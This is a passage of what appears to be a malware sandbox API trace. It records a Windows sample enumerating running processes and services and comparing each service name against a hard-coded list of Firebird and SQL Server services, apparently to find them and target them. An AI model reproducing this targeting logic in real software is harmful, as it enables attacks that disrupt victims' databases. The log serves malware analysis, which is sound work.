th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0309.912] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0309.912] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0309.914] lstrlenW (lpString="1csrss.exe") returned 10 [0309.914] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.915] lstrlenW (lpString="svchost.exe") returned 11 [0309.915] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0309.916] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0309.916] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.916] lstrlenW (lpString="svchost.exe") returned 11 [0309.916] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0309.917] lstrlenW (lpString="consent.exe") returned 11 [0309.917] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0309.918] lstrlenW (lpString="dllhost.exe") returned 11 [0309.918] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0309.919] CloseHandle (hObject=0x564) returned 1 [0309.920] Sleep (dwMilliseconds=0x1f4) [0310.433] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0310.434] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0310.435] GetLastError () returned 0xea [0310.435] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0310.435] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0310.435] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0310.436] lstrlenW (lpString="Appinfo") returned 7 [0310.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0310.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0310.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0310.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0310.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0310.436] lstrlenW (lpString="AppXSvc") returned 7 [0310.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0310.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0310.436] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0310.436] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0310.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0310.436] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0310.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0310.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0310.436] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0310.436] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0310.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0310.436] lstrlenW (lpString="Audiosrv") returned 8 [0310.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0310.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0310.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0310.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0310.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0310.436] lstrlenW (lpString="BFE") returned 3 [0310.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0310.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0310.437] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0310.437] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0310.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0310.437] lstrlenW (lpString="BITS") returned 4 [0310.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0310.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0310.437] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0310.437] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0310.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0310.437] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0310.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0310.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0310.437] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0310.437] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0310.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0310.437] lstrlenW (lpString="CDPSvc") returned 6 [0310.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0310.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0310.437] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0310.437] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0310.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0310.437] lstrlenW (lpString="ClickToRunSvc") returned 13 [0310.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0310.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0310.437] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0310.437] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0310.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0310.437] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0310.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0310.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0310.438] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0310.438] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0310.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0310.438] lstrlenW (lpString="CryptSvc") returned 8 [0310.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0310.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0310.438] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0310.438] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0310.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0310.438] lstrlenW (lpString="DcomLaunch") returned 10 [0310.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0310.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0310.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0310.438] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0310.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0310.438] lstrlenW (lpString="DeviceAssociationService") returned 24 [0310.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0310.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0310.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0310.438] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0310.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0310.438] lstrlenW (lpString="Dhcp") returned 4 [0310.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0310.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0310.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0310.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0310.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0310.438] lstrlenW (lpString="Dnscache") returned 8 [0310.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0310.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0310.439] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0310.439] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0310.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0310.439] lstrlenW (lpString="DoSvc") returned 5 [0310.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0310.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0310.439] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0310.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0310.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0310.439] lstrlenW (lpString="DPS") returned 3 [0310.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0310.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0310.439] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0310.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0310.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0310.439] lstrlenW (lpString="DusmSvc") returned 7 [0310.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0310.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0310.439] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0310.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0310.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0310.439] lstrlenW (lpString="EventLog") returned 8 [0310.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0310.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0310.439] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0310.439] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0310.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0310.439] lstrlenW (lpString="EventSystem") returned 11 [0310.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0310.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0310.440] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0310.440] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0310.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0310.440] lstrlenW (lpString="FontCache") returned 9 [0310.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0310.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0310.440] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0310.440] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0310.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0310.440] lstrlenW (lpString="gpsvc") returned 5 [0310.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0310.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0310.440] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0310.440] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0310.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0310.440] lstrlenW (lpString="iphlpsvc") returned 8 [0310.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0310.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0310.440] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0310.440] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0310.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0310.440] lstrlenW (lpString="KeyIso") returned 6 [0310.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0310.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0310.440] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0310.440] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0310.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0310.440] lstrlenW (lpString="LanmanServer") returned 12 [0310.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0310.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0310.440] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0310.441] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0310.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0310.441] lstrlenW (lpString="LanmanWorkstation") returned 17 [0310.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0310.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0310.441] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0310.441] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0310.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0310.441] lstrlenW (lpString="lfsvc") returned 5 [0310.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0310.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0310.441] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0310.441] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0310.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0310.441] lstrlenW (lpString="lmhosts") returned 7 [0310.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0310.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0310.441] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0310.441] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0310.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0310.441] lstrlenW (lpString="LSM") returned 3 [0310.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0310.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0310.441] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0310.441] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0310.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0310.441] lstrlenW (lpString="MapsBroker") returned 10 [0310.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0310.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0310.441] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0310.441] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0310.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0310.442] lstrlenW (lpString="MpsSvc") returned 6 [0310.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0310.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0310.442] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0310.442] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0310.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0310.442] lstrlenW (lpString="NcbService") returned 10 [0310.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0310.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0310.442] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0310.442] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0310.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0310.442] lstrlenW (lpString="netprofm") returned 8 [0310.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0310.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0310.442] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0310.442] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0310.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0310.442] lstrlenW (lpString="NgcSvc") returned 6 [0310.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0310.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0310.442] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0310.442] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0310.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0310.442] lstrlenW (lpString="NlaSvc") returned 6 [0310.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0310.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0310.442] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0310.442] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0310.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0310.443] lstrlenW (lpString="nsi") returned 3 [0310.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0310.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0310.443] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0310.443] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0310.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0310.443] lstrlenW (lpString="PcaSvc") returned 6 [0310.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0310.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0310.443] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0310.443] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0310.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0310.443] lstrlenW (lpString="PlugPlay") returned 8 [0310.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0310.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0310.443] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0310.443] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0310.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0310.443] lstrlenW (lpString="Power") returned 5 [0310.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0310.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0310.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0310.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0310.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0310.443] lstrlenW (lpString="ProfSvc") returned 7 [0310.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0310.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0310.443] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0310.443] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0310.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0310.444] lstrlenW (lpString="RpcEptMapper") returned 12 [0310.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0310.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0310.444] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0310.444] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0310.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0310.444] lstrlenW (lpString="RpcSs") returned 5 [0310.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0310.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0310.444] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0310.444] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0310.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0310.444] lstrlenW (lpString="SamSs") returned 5 [0310.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0310.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0310.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0310.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0310.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0310.445] lstrlenW (lpString="Schedule") returned 8 [0310.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0310.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0310.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0310.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0310.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0310.445] lstrlenW (lpString="SecurityHealthService") returned 21 [0310.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0310.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0310.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0310.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0310.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0310.445] lstrlenW (lpString="SENS") returned 4 [0310.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0310.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0310.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0310.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0310.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0310.445] lstrlenW (lpString="ShellHWDetection") returned 16 [0310.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0310.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0310.445] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0310.445] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0310.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0310.445] lstrlenW (lpString="Spooler") returned 7 [0310.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0310.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0310.446] lstrcmpiW 